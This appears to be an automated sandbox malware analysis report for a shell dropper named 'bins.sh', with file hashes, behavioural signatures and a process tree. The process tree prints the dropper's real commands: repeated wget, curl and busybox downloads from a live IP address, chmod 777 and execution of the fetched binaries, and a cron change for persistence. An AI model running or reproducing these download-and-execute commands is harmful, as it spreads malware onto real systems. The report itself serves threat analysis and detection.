Analysis

  • max time kernel
    150s
  • max time network
    175s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    26/11/2024, 12:12

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fc41e96c416e7e08c67b3b8a90dc5281

  • SHA1

    2e32b0e3f9f7b76565855b1b51caefe1b5baa43f

  • SHA256

    ad854bdbc344eddc4f97eb6ac8e45f35db706a8341b459c89579ca05515c23c6

  • SHA512

    593594493042937480a0f6493a50e4eb6b6b307fd8fff7d371d1ad001146e5c771aed934cffb0693193e1bc35c691c926fd4d42edb4a3d4fccdd274ad1c0ee77

  • SSDEEP

    192:1x9NM03//ciijgqZ/XlZ/Xlii/ox9NM0t:1x9NM03//ciijgYriiQx9NM0t

Malware Config

Signatures

  • Contacts a large (2047) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:650
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:652
        • /usr/bin/wget
          wget http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Writes file to tmp directory
          PID:657
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:678
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Writes file to tmp directory
          PID:687
        • /bin/chmod
          chmod 777 AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • File and Directory Permissions Modification
          PID:698
        • /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          ./AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Executes dropped EXE
          PID:700
        • /bin/rm
          rm AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
            PID:702
          • /usr/bin/wget
            wget http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Writes file to tmp directory
            PID:703
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:716
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/chmod
            chmod 777 dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            ./dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:755
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:757
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:758
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:760
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:761
                • /bin/rm
                  rm dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
                  2⤵
                    PID:773
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
                    2⤵
                      PID:776

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04

                    Filesize

                    99KB

                    MD5

                    9438d9bc392bcf300a5583b6df5bc8f6

                    SHA1

                    375a6ae34b516f6f3eeea8030c4084f585017efa

                    SHA256

                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                    SHA512

                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                  • /tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET

                    Filesize

                    127KB

                    MD5

                    89077b7bd4bcafca7713be43635c4862

                    SHA1

                    fc02edb8fba29ea8ee99e6157ef8560334530052

                    SHA256

                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                    SHA512

                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                  • /var/spool/cron/crontabs/tmp.P2Ndbc

                    Filesize

                    210B

                    MD5

                    cdebd133bca9c7558b2a67249adbd9b6

                    SHA1

                    bacd191908d0bac00096e43c44f2041fded61b4a

                    SHA256

                    2ac4a27425704e40750ad9d7d4af11f94ca4225e395a954ec96d78c9844bdc56

                    SHA512

                    a85e5409c635a775db4486fc70295637a52f30de6a02013106983fbd76fd6de70a32da9636a2b82caf821b38ff380ba233ecb178dd119ddc52953c71d8aa445f